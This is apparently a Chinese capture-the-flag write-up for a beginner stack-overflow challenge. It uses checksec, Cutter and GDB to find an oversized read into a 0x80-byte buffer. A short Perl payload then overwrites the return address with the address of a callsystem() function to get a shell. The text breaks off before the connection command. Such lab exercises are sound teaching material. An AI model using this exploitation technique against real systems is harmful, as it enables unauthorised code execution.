题目描述
菜鸡了解了什么是溢出,他相信自己能得到shell
Solution
首先用file
查看文件类型,得知这是 ELF64 文件:
┌──(cheery㉿Laptop)-[~/Desktop/pwn]
└─$ file 001
001: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
┌──(cheery㉿Laptop)-[~/Desktop/pwn]
└─$ checksec --file=001
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69) Symbols No 0 1 001
运行它,程序会打印Hello, World
,读取完用户输入后退出。我们用 Cutter 打开,选择下方的 Strings 标签,把 Section 改成 .rodata
,发现一个有意思的字符串/bin/sh
。
对着它按右键,选择Show X-Refs
查找谁在引用它,根据,发现是callsystem()
函数:
对于main()
函数来说,它向 1 号文件描述符(Stdin)写入Hello, World\n
,然后执行vulnerable_function()
:
在vulnerable_function()
里,调用read
从标准输入读取输入,存入栈上的缓冲区:
整个栈只有0x80
这么大,而读取进来的上限高达0x200
,这会引发栈溢出。本题的思路,就是触发栈溢出,把返回地址改成callsystem()
,即可拿 Shell。
我们进入 GDB 调试:
(gdb) b vulnerable_function
(gdb) ni 5
执行read()
后,输入aaaabbbbccccdddd
,再用x /144bx $rsp
观察栈的地址:
我们编写一段 Perl 脚本来完成我们的构想:
$padding = "aaaabbbb" x17;
print($padding);
$ret_addr = "\x96\x05\x40" . "\x00" x4;
print($ret_addr);
运行效果如下:
我们生成题目的在线场景,使用如下命令连接: